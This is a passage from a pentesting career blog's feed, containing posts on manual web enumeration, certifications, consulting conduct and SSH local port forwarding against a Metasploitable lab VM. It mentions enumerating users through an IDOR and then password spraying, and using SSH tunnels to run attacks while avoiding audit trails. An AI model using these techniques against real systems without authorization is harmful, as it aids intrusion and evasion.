to make no progress. My usual go-to tools only find low to informational issues leading nowhere in terms of exploitation, or the specific in-scope application(s) got patched, and the exploits available for older versions do not work on the version in use.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;color: #ffa400;&quot;&gt;That&#39;s when I delve with manual testing&lt;/span&gt;&lt;/b&gt;. I don&#39;t trust automated tools too much. Blindly relying on automated tools can lead to missing a lot of vulnerabilities, sometimes even critical. I go through a number of manual enumeration techniques, such as:&lt;br /&gt;&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Track and list in a spreadsheet all significant web hosts, their related URLs, their purpose, their underlying technologies and related vulnerabilities. Specifically highlight login portals.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Screenshot all web hosts to have an overview of what each URL is about. I&amp;nbsp; ended up liking &lt;a href=&quot;https://github.com/michenriksen/aquatone&quot;&gt;Aquatone&lt;/a&gt; best for this, but other tools such as &lt;a href=&quot;https://github.com/RedSiege/EyeWitness&quot; target=&quot;_blank&quot;&gt;EyeWitness&lt;/a&gt;, &lt;a href=&quot;https://github.com/nccgroup/scrying&quot;&gt;Scrying&lt;/a&gt; or &lt;a href=&quot;https://github.com/sensepost/gowitness&quot;&gt;GoWitness&lt;/a&gt; are equally valid alternatives. I often make interesting discoveries that way. Sometimes reading the results from Nmap doesn&#39;t supply an accurate idea of what application(s) a specific host is running, while a visual inspection may sometimes reveal very interesting details, such as the version of the operating system or web server in use. This, in turn, might lead to identifying specific vulnerabilities affecting that version.&lt;/li&gt;&lt;li&gt;Use &lt;a href=&quot;https://www.wappalyzer.com/&quot;&gt;Wappalyzer&lt;/a&gt; and &lt;a href=&quot;https://github.com/urbanadventurer/WhatWeb&quot;&gt;whatweb&lt;/a&gt; to identify the technology implemented by each URL.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Use &lt;a href=&quot;https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=2ahUKEwjLrbjvhZKBAxWAlGoFHRwACGoQFnoECBUQAQ&amp;amp;url=https%3A%2F%2Fgithub.com%2FOJ%2Fgobuster&amp;amp;usg=AOvVaw1DiZiA8_QAKoZfGLpGpHFj&amp;amp;opi=89978449&quot;&gt;gobuster&lt;/a&gt; for web directory enumeration and &lt;a href=&quot;https://github.com/sullo/nikto&quot;&gt;nikto&lt;/a&gt; for vulnerability scanning on all web hosts. These tools can sometimes identify interesting directories, or potential vulnerabilities.&lt;/li&gt;&lt;li&gt;Don&#39;t be afraid to try out new tools. Sometimes a fresh look is what you need to discover stuff you missed, plus a new tool can identify some issues other tools don&#39;t, because it leverages new advancements in technology or programming. I recently discovered how impactful a new tool can be in a major way. Nessus had flagged a high finding related to an outdated version of a very popular application, affected by an information disclosure vulnerability. Those vulnerabilities don&#39;t normally lead to anything interesting, and I was going through this project in a quite aloof mood, thinking I was wasting my time. However, I had recently read good things about &lt;a href=&quot;https://github.com/projectdiscovery/nuclei&quot;&gt;Nuclei&lt;/a&gt;, so I decided to give it a go. I immediately found an interesting URL, leading to a page displaying a user profile without needing any authentication to the API whatsoever. The URL I discovered ended up by 1, so I tried changing the 1 to a 2 and &lt;i&gt;..bingo!&lt;/i&gt; I had found another user profile. In other words, I had found an insecure direct object reference (&lt;a href=&quot;https://portswigger.net/web-security/access-control/idor&quot;&gt;IDOR&lt;/a&gt;) that led me to enumerate thousands of valid users for that specific app. I then leveraged this list of users to password spray the related login portal. None of this would have been possible if I hadn&#39;t tried out a new tool, though.&lt;/li&gt;&lt;li&gt;Don&#39;t be afraid to build your own tools. It doesn&#39;t matter if it&#39;s only a few lines of code, or they&#39;re not super cool, coding per se is a plus. For example, I&#39;m working on a tool that runs Amass, saves the output to a file, and then runs Aquatone on it. Sure, I could use someone else&#39;s code but building a tool myself forces me to learn a bunch of things, like how to run an external command in Python through the &lt;span style=&quot;font-family: courier;&quot;&gt;subprocess&lt;/span&gt; module, how to run a ping command through it, etc. Plus, running your own tools, you could implement a unique solution no one&#39;s yet thought about. All this will make me a better security professional. If a team works on a tool and everyone contributes with a tiny bit, the end result will be better than anyone alone would accomplish.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Other than that, security professionals need to keep their minds sharp and in good working order. In a recent project, I was basically running on empty for the first two days. Sleeping issues and client-related delays held me back. On day 3, I started fresh after a good night&#39;s sleep, and accomplished more in two hours than I had done over the previous two days.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;b style=&quot;color: #ffa400;&quot;&gt;Conclusions&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;When the game gets tough, the tough gets going.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://media0.giphy.com/media/IwVRuFD6Ar0S4/100.webp?cid=ecf05e47v5w9878fg1g5gx39c4n7r1956rlc73md2wvxkd28&amp;amp;ep=v1_gifs_search&amp;amp;rid=100.webp&amp;amp;ct=g&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;100&quot; data-original-width=&quot;232&quot; height=&quot;172&quot; src=&quot;https://media0.giphy.com/media/IwVRuFD6Ar0S4/100.webp?cid=ecf05e47v5w9878fg1g5gx39c4n7r1956rlc73md2wvxkd28&amp;amp;ep=v1_gifs_search&amp;amp;rid=100.webp&amp;amp;ct=g&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Giving up is the easiest choice.&lt;/p&gt;&lt;p&gt;Most people give up on anything all the time.&amp;nbsp;&lt;/p&gt;&lt;p&gt;To be successful in the penetration testing scene, persistence, grit and resourcefulness are needed.&lt;/p&gt;&lt;p&gt;Leave no stone unturned and go the extra mile, have no regrets at least.&lt;/p&gt;&lt;p&gt;Don&#39;t be afraid to dig deeper and try new things, as this can sometimes lead to the pot of gold at the end of the rainbow.&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2023/09/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-4324742417537998880</guid><pubDate>Tue, 27 Jun 2023 21:01:00 +0000</pubDate><atom:updated>2023-10-29T12:30:19.273-04:00</atom:updated><title>Tips for an Information Security Analyst/Pentester Career - Ep. 93 - Certifications vs Experience, Do You Need Certs At All?</title><description>&lt;p&gt;Nowadays, we watch a constant flood of new certifications in the cybersecurity scene.&lt;/p&gt;&lt;p&gt;Every day a new one is created, and making sense of all these acronyms (eJPT, PNPT, OSCP, PJPT, etc.) can be quite confusing.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&amp;nbsp;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://257324206-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQCNQTNhvnXD58Vo8Mf%2Fuploads%2FRLyLBiBAL2SnF3q6CUxM%2Fimage.png?alt=media&amp;amp;token=0de5b431-4b94-4af5-8760-b05981246ae1&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;619&quot; data-original-width=&quot;800&quot; height=&quot;619&quot; src=&quot;https://257324206-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQCNQTNhvnXD58Vo8Mf%2Fuploads%2FRLyLBiBAL2SnF3q6CUxM%2Fimage.png?alt=media&amp;amp;token=0de5b431-4b94-4af5-8760-b05981246ae1&quot; width=&quot;800&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;giphy-embed&quot; frameborder=&quot;0&quot; height=&quot;330&quot; src=&quot;https://giphy.com/embed/qHjbXtxNawWR2&quot; width=&quot;480&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://giphy.com/gifs/smh-qHjbXtxNawWR2&quot;&gt;via GIPHY&lt;/a&gt;&lt;/p&gt;Each certifications cost money, and while some are quite affordable (CompTIA, INE, TCM Security), others are a big time investment (Offensive Security, SANS).&lt;p&gt;&lt;/p&gt;&lt;p&gt;Not all certs are created equal, and you don&#39;t need all of them. I&#39;d advise against collecting certifications for the heck of it.&lt;/p&gt;&lt;p&gt;Yesterday I read on LI about a guy who achieved 18 certifications in a year, which prompted a series of considerations that became this post.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Certifications vs Experience &lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Are certs worth it compared with working experience and, if so, when are they worth pursuing?&lt;br /&gt;&lt;/p&gt;&lt;p&gt;In my opinion,&amp;nbsp; hands-on experience is way more valuable than certifications. Certifications are only worthwhile when they add new skills to a professional profile.&lt;/p&gt;&lt;p&gt;Anyway, as a general rule, I&#39;d recommend moving from these considerations:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Go for hands-on certs and don&#39;t go through multiple choice tests that prove absolutely nothing about the skill level.&amp;nbsp;&lt;/li&gt;&lt;li&gt;Go only for certs adding to a current skill set and don&#39;t settle down for less than that. Don&#39;t waste time and money on certs that are below one&#39;s current skill level.&lt;/li&gt;&lt;li&gt;Additionally, the value of a certification can vary based on the recipient&#39;s profile.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In other words,  if entry level certifications such as PenTest+, or OSCP can be good to have for who wants to break in the penetration testing industry, or has a junior level background, they&#39;re pointless for an intermediate to senior pentester.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Yes, I&#39;m saying OSCP is pointless for a professional having a 4-5 years&#39; background. After being in the industry long enough. one&#39;s recognized as a professional, regardless if they own some specific certs or not. I&amp;nbsp; mean, I don&#39;t want to sound cocky but, unless peculiar situations/settings are in place and sensitive devices are involved, I could run a perimeter pentest in my sleep by now. Other than that, being a good consultant and being able to create rapport with a client is way more important than being technically amazing, because that&#39;s what ultimately makes a difference with the final outcome of a project.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Sure, I wish I had OSCP some years ago but I didn&#39;t need it to find a job as a pentester.&lt;/p&gt;&lt;p&gt;Do I really need it now, with a 5 years&#39; background? I don&#39;t think so.&amp;nbsp;&lt;/p&gt;&lt;p&gt;At this point in my career I find it pointless to pursue certs requiring to go through a password guessing prerequisite to breach the 
perimeter, or to solve other CTF-y scenarios that a professional&#39;s never 
gonna meet in real-world engagements&lt;/p&gt;&lt;p&gt;Over thousands of engagements in my career, so far I NEVER EVER found passwords like &lt;span style=&quot;font-family: courier;&quot;&gt;SeasonYear&lt;/span&gt; in use on the external perimeter.&lt;/p&gt;&lt;p&gt;This doesn&#39;t mean it&#39;s impossible, of course, but it&#39;s highly unlikely IMHO.&lt;/p&gt;&lt;p&gt;I mean, either I&#39;m extremely unlucky, or my clients are awesome in following best security practices, or this is not so common IRL.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;By now, even due to PCI compliance, most organizations enforce a higher password complexity than they did some years ago. This doesn&#39;t mean one can&#39;t find some HTB-like situations real-world, but I can really count them on one hand.&lt;/p&gt;&lt;p&gt;Weak passwords are way more common in internal engagements, but of course a red teamer would need to breach the perimeter first, or operate under an assume breach scenario.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Work experience matters more than any certs. But there&#39;s a tricky side to it.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;The Value of Your Experience Changes Over Time&lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Cybersecurity is subject to non-stop change. New tools are released, existing tools and protocols are relentlessly updated, and a professional needs to keep up with it.&lt;/p&gt;&lt;p&gt;There&#39;s no room for complacence, because it means being left behind.&lt;/p&gt;&lt;p&gt;A security professional is a constant learner, and skills that are valuable today could become worthless tomorrow.&lt;/p&gt;&lt;p&gt;That&#39;s when training and certifications come into play, not to get a foot in the door this time, but to make sure to be still relevant in the industry.&lt;/p&gt;&lt;p&gt;A professional needs to consistently add new skills and become more valuable.&lt;/p&gt;&lt;p&gt;I always learn new tools and my company puts me through periodical training, which is awesome. I&#39;m very thankful to Optiv for this, and I don&#39;t hesitate taking on engagements driving me out of my comfort zone, such as physical security, cloud security or spear phishing.&lt;/p&gt;&lt;p&gt;I can be an asset to my team and become more marketable in the long run, which won&#39;t hurt.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Certifications and Career Path &lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The specific certs worth achieving vary based on your career path.&lt;/p&gt;&lt;p&gt;For example:&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Junior Pentester: eJPT, PJPT, OSCP, PNPT&lt;/li&gt;&lt;li&gt;Intermediate/Senior Pentester: eCPPT, Web app related certifications (eWPT/eWPTX, Burp Practitioner, OSWE), cloud related certs (AWS Practitioner, etc.), Red Teaming certs (CRTO, CRTP, CRTE), etc.&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;i&gt;Wrap Up&amp;nbsp;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Certifications vs experience is a little bit like a chicken and egg dilemma, that can be solved looking at a professional&#39;s skill level and experience.&lt;/p&gt;&lt;p&gt;For someone with little to no experience, certifications prove motivation, dedication and a correct mindset, aiming at constant improvement.&lt;/p&gt;&lt;p&gt;For someone with an intermediate to senior level, certifications are important only if they add new skills or update the existing knowledge, otherwise working experience is way more valuable.&lt;/p&gt;&lt;p&gt;The problem, though, is working experience can get quickly outdated if one becomes complacent, so a professional needs to be a constant learner.&lt;/p&gt;&lt;p&gt;Sadly, this is not for everybody, because continuous education is the most challenging part of a penetration testing career.&lt;/p&gt;&lt;p&gt;It becomes easier only when a professional is really motivated, when this is more than a job.&lt;/p&gt;&lt;p&gt;Only in this case the learning experience gets fun and enjoyable, instead of being a weigh.&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now the ball is in your court. &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2023/06/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-5200542735096412812</guid><pubDate>Mon, 27 Mar 2023 01:02:00 +0000</pubDate><atom:updated>2024-09-07T10:37:38.573-04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><category domain="http://www.blogger.com/atom/ns#">5 quick hacks</category><title>Tips for an Information Security Analyst/Pentester Career - Ep. 92: 5  Unexpected Tips for A Successful Career Growth</title><description>&lt;p&gt;I&#39;ve been a security consultant for almost 5 years, so I collected my share of war stories.&lt;/p&gt;&lt;p&gt;For this reason, I thought I could share with you some experience-driven tips I believe to be critical for achieving success in this industry, and that helped me a lot along the way.&lt;/p&gt;&lt;p&gt;I think some of them will blow your mind, but it&#39;s a needed shock to be successful in this industry, and the sooner you go through it the better.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://media0.giphy.com/media/3o7aD4KniyiqaB2KIw/200w.webp?cid=ecf05e47ekraduyipeunlilq664ixyq7k8bbu426t39188v3&amp;amp;rid=200w.webp&amp;amp;ct=g&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;200&quot; height=&quot;200&quot; src=&quot;https://media0.giphy.com/media/3o7aD4KniyiqaB2KIw/200w.webp?cid=ecf05e47ekraduyipeunlilq664ixyq7k8bbu426t39188v3&amp;amp;rid=200w.webp&amp;amp;ct=g&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Well, here we go:&lt;/p&gt;&lt;ol style=&quot;text-align: left;&quot;&gt;&lt;li&gt;&lt;b&gt;Always be professional&lt;/b&gt;: Most people think penetration testing is all about technical skills, but nothing could be farther from truth. Especially if you work for a consulting firm, projecting a professional image at all times is paramount. The client expects for you to be a subject matter expert and to be able to explain in layman&#39;s terms what problems you found, what their impact is and especially how to remediate them. Even when you&#39;re not 100% sure about something, you can&#39;t let the client know. They pay for a subject matter expert and expect no less than that. If you don&#39;t have the answer to a question, act confident and inform the client you&#39;ll get back to it later, don&#39;t freak out and stay calm. You&#39;ll figure&amp;nbsp; out the answer, either googling or with the help of your team, but don&#39;t let your insecurity be too apparent. This means you need to be professional at all times. As far as the client is concerned, you &lt;i&gt;are&lt;/i&gt; your company, so you want to look at your best. Even when clients are mean and rude, you can never get down to their level, you&#39;re expected to keep your cool and continue delivering. This can be sometimes very hard. I&#39;ve experienced specific situations where I really struggled to keep my cool, as I had to deal with very rude and combative&amp;nbsp;clients, yet I did because I knew I&#39;d be the only one looking bad otherwise. At the end of the day, penetration testing is all about business mindset and professional communication. Yes, you heard it right, sorry to break this down to you. Even the most amazing tester on a technical standpoint becomes worthless if they can&#39;t explain their findings to the clients in terms the clients would understand, and if they don&#39;t know how to communicate with clients in a professional and personable way. So make sure you got your &lt;i&gt;your, you&#39;re&lt;/i&gt; and so on right. And forget about CTFs and frat house attitudes. Corporate security is much more a tie-and-suit affair than one might think. The most challenging part of being a consultant is to avoid an adversarial attitude and convince the client you&#39;re on &lt;i&gt;their &lt;/i&gt;team, you&#39;re on on their side and you&#39;re not the enemy. I believe each one of us can do better under this point of view.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Be a team player&lt;/b&gt;: Security companies are often organized in teams and sometimes, for more complex tests, you may find yourself having to collaborate with other consultants, involved with different portions of the engagement. Be fair to your team members, offer them help and don&#39;t take things personally. Even when some team members mess up, don&#39;t quickly throw them under the bus, communicate with them, as maybe they&#39;re having issues with something you don&#39;t know. On the other hand, don&#39;t be a rug and demand respect. As for project managers, tell them what your priorities are and what you need from them and from the client. They might not be as technically sound as you are, so advise them when a deeper technical perspective is demanded. If you have issues slowing down your work or hurdling your testing, let PMs know as soon as possible.&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Don&#39;t be afraid to get out of your comfort zone&lt;/b&gt;: Since I started out with Optiv, I clearly stated I was interested in any training they could give me. As a result, I conducted spear phishing and vishing engagements, and will have further chances to branch out with other types of engagements in the future. If you&#39;re afraid of taking chances, you&#39;ll never grow as a hacker and as a consultant. Plus, you&#39;re not gonna get what you want if you&#39;re not willing to take on stuff other people don&#39;t want to do.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Deliver, deliver, deliver&lt;/b&gt;. &lt;b&gt;Be an asset, not an issue&lt;/b&gt;: I don&#39;t talk a lot about what I do, I let facts do that for me. If people in your company just have to talk about you, make sure it&#39;ll be about what a good job you do and not because you messed up and created problems with clients. You&#39;d rather not stand out instead of standing out for the wrong reasons.&lt;/li&gt;&lt;li&gt;&lt;b&gt;Self promotion without showing off, give credit and take credit (you don&#39;t wanna be invisible)&lt;/b&gt;: This point might seem to contradict the previous one, but it&#39;s strictly connected to it. Even if you do outstanding work, this is pretty much useless if no one (and especially your boss) knows about that. Especially when you work remotely (as I do), keeping in touch with your team can be hard, but you need to make sure you let them know when you do good work. The challenge you might face is to keep a balance between self promotion and being a show off. One &quot;trick&quot; is to let purposefully, but seemingly randomly, slide a hint to something I&#39;ve done right every now and then in a conversation, without public announcements to the whole team. I mean, nothing wrong if you get a shoutout, but it must come from someone other than yourself. Every time I chat with my boss and I got updates on my projects, I take advantage of the conversation to keep him posted on what I&#39;m doing. I&#39;m quite sure he keeps tabs on what I do, but reinforcing and reminding remains a good marketing technique. Within a remote workforce situation like today&#39;s, the last thing you want is to be invisible. However, carefully avoid being a showoff, too. Give credit to coworkers when they help you with a problem or do a good job along with you on a project. Don&#39;t take other people&#39;s credit and set the record straight when someone wrongly assigns exclusively to you the whole merit for a good outcome. Celebrate team members&#39; successes and don&#39;t be envious. The better they do the better you do. If you didn&#39;t quite learn this lesson, you&#39;re gonna have to learn it the hard way pretty  soon.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;i&gt;Wrap Up&amp;nbsp;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Being a consultant is not for everyone and surely not for the faint of heart.&lt;/p&gt;&lt;p&gt;The good outcome of a project depends on a series of factors but ultimately on the consultant&#39;s relationship with the client.&lt;/p&gt;&lt;p&gt;If a consultant can be professional but at the same time personable and can deliver on promises, he/she will be on the customer&#39;s good side and will earn respect.&lt;br /&gt;When you promise to get back to the client about something at a certain deadline, make sure you do so. If you encountered unexpected problems delaying you, inform the client about that in advance and tell them you&#39;re going to update them asap when such problems are solved. Don&#39;t let clients feel abandoned to their own devices, while wondering where you ended up to. The last thing a consultant should want is to upset clients.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Issues and inconveniences happen, but I personally always own them and do my best to smooth them up before they become a bigger deal than they should.&lt;/p&gt;&lt;p&gt;Own them, tell the client you&#39;re gonna look into that and will get back to them as soon as it&#39;s solved, and don&#39;t forget to provide an ETA for it.&lt;/p&gt;&lt;p&gt;Sometimes a quick Zoom or Teams call solves issues much faster and avoids dangerous miscommunications and misunderstandings.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Though a successful career as a consultant depends on multiple factors, I do believe the above concepts are paramount for a faster and smoother professional growth.&amp;nbsp;&lt;/p&gt;&lt;p&gt;I hope they can help.&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;hr /&gt;
&lt;a href=&quot;http://savvygeektips.blogspot.com&gt;One Tip A Day Tech Blog&lt;/a&gt;&lt;/div&gt;</description><link>http://savvygeektips.blogspot.com/2023/03/tips-for-information-security.html</link><author>noreply@blogger.com (SavvyGeek)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2419284614709488194.post-4494827558939137954</guid><pubDate>Sun, 20 Nov 2022 20:21:00 +0000</pubDate><atom:updated>2023-01-02T11:43:54.718-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">#hacking</category><category domain="http://www.blogger.com/atom/ns#">#pentesting</category><title>Tips for an Information Security Analyst/Pentester career - Ep. 91 - SSH Tunneling (local port forwarding)</title><description>&lt;p&gt;SSH tunneling is a very powerful and native tool that can be used to gain access to services on a remote machine that would normally be inaccessible from outside.&lt;/p&gt;&lt;p&gt;For example, you&#39;re SSH&#39;ed into a remote machine but you need to access the browser on that machine in order to run Nessus scans.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&quot;&quot; class=&quot;BLOG_video_class&quot; height=&quot;266&quot; src=&quot;https://www.youtube.com/embed/5JbdgEAdZAo&quot; width=&quot;320&quot; youtube-src-id=&quot;5JbdgEAdZAo&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;All you got is a terminal, so you wouldn&#39;t normally be able to do so, but SSH allows to create a tunnel that makes all this possible.&lt;/p&gt;&lt;p&gt;There are three types of SSH tunnels, but here I&#39;m going to only analyze &lt;i&gt;local port forwarding&lt;/i&gt; that allows to redirect traffic from a specified local port to a different port.&lt;/p&gt;&lt;p&gt;I&#39;ll be talking about the other two types of tunnels in upcoming posts. &lt;br /&gt;&lt;/p&gt;&lt;p&gt;In our example, we&#39;re gonna be using a Metasploitable 2 instance, running locally with 192.168.1.253 IP address.&lt;/p&gt;&lt;p&gt;We&#39;re connected to this intentionally vulnerable machine through SSH (credentials &lt;span style=&quot;font-family: courier;&quot;&gt;msfadmin:msfadmin&lt;/span&gt;). Let&#39;s imagine we need to access the browser running on Metasploitable 2 from our local machine.&lt;/p&gt;&lt;p&gt;We can solve the problem creating a local SSH tunnel that binds remote port 80 to local port 1880 (ports 0-1024 require root privileges for a user to bind to them, so we can&#39;t use local port 80).&lt;/p&gt;&lt;p&gt;This problem is solved with the following command:&lt;br /&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;ssh -Nf -L 1880:127.0.0.1:80 msfadmin@192.168.1.253&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;-N&lt;/span&gt;: no command&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;-f:&lt;/span&gt; force background the terminal&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;-L&lt;/span&gt;: local port &lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;-Nf&lt;/span&gt; is used to prevent for an attacker from using your shell as a pivot point.&lt;/p&gt;&lt;p&gt;Once the tunnel is successfully established, we can access the remote browser running on remote port 80 from our local port 1880.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaDk_Oe9vm0F1xY6G08wNStXJYJiEotGqIrdqkJitPIJPcRjGgTf5OzcwFLOB2WcTqFJzYQn2oX8DPOGDFui3rzwG44-PxfItrw333KD4gi8iRMKhsEL_gz17inGhMMN3L1BQIELXWDJfwQ-jvkboISKH17llmudhyVcKciERdqGkm0lCQcZWYHrCVAg/s1684/ssh.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;132&quot; data-original-width=&quot;1684&quot; height=&quot;50&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaDk_Oe9vm0F1xY6G08wNStXJYJiEotGqIrdqkJitPIJPcRjGgTf5OzcwFLOB2WcTqFJzYQn2oX8DPOGDFui3rzwG44-PxfItrw333KD4gi8iRMKhsEL_gz17inGhMMN3L1BQIELXWDJfwQ-jvkboISKH17llmudhyVcKciERdqGkm0lCQcZWYHrCVAg/w640-h50/ssh.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8TaVjO7lr506c9eYB4LIm46T2F5Wkl1dkV3sR3jYbJP35KSLERojEuFf_VF7xR2XdvXatZwYd5WCtL1NN2d9p4BBypz-UoE1IGtv7D0SKadVRJaE52fc-OcA-g6RgFIZFCjKOp1irbvJQNyk3DSYTkcVU0RSrr_lNNm660JP_hWEo1_WWZ1nKMID31Q/s1466/browser.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1062&quot; data-original-width=&quot;1466&quot; height=&quot;464&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8TaVjO7lr506c9eYB4LIm46T2F5Wkl1dkV3sR3jYbJP35KSLERojEuFf_VF7xR2XdvXatZwYd5WCtL1NN2d9p4BBypz-UoE1IGtv7D0SKadVRJaE52fc-OcA-g6RgFIZFCjKOp1irbvJQNyk3DSYTkcVU0RSrr_lNNm660JP_hWEo1_WWZ1nKMID31Q/w640-h464/browser.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;I normally use SSH tunneling for testing purposes, but it can very well be used for hacking.&lt;/p&gt;&lt;p&gt;For example, when the remote machine has no Internet connection or is locked down, you can connect through SSH to a SOCKS proxy and run all the needed attacks and tools from your local machine, without having to upload them to the target machine, running them in memory.&lt;/p&gt;&lt;p&gt;I&#39;m gonna go back on this point, too, but you can easily grasp, even without adding more details, how powerful this attack method is.&lt;/p&gt;&lt;p&gt;Some people would rather use tools like &lt;span style=&quot;font-family: courier;&quot;&gt;sshuttle&lt;/span&gt; to do this but I&#39;m personally big on native solutions because they work better, have fewer compatibility issues and don&#39;t leave such an unpleasant audit trail. Often times you might not need or even want to install tools on a remote machine.&lt;/p&gt;&lt;p&gt;For a red teaming engagement, you definitely want to avoid that, cause it&#39;ll blow up your cover, but you might even lack privileges.&amp;nbsp;&lt;/p&gt;&lt;p&gt;What if you&#39;re in as an ordinary user that can&#39;t run &lt;span style=&quot;font-family: courier;&quot;&gt;sudo&lt;/span&gt; due to lack of privileges?&lt;/p&gt;&lt;p&gt;Would you give up? No way.&lt;/p&gt;&lt;p&gt;A real hacker finds a way around, giving up is not an option.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;SSH is maybe the most powerful protocol ever created, and a hacker worthy of this name should know how to use and abuse it in its native form, without any need for embellishments or unnecessary 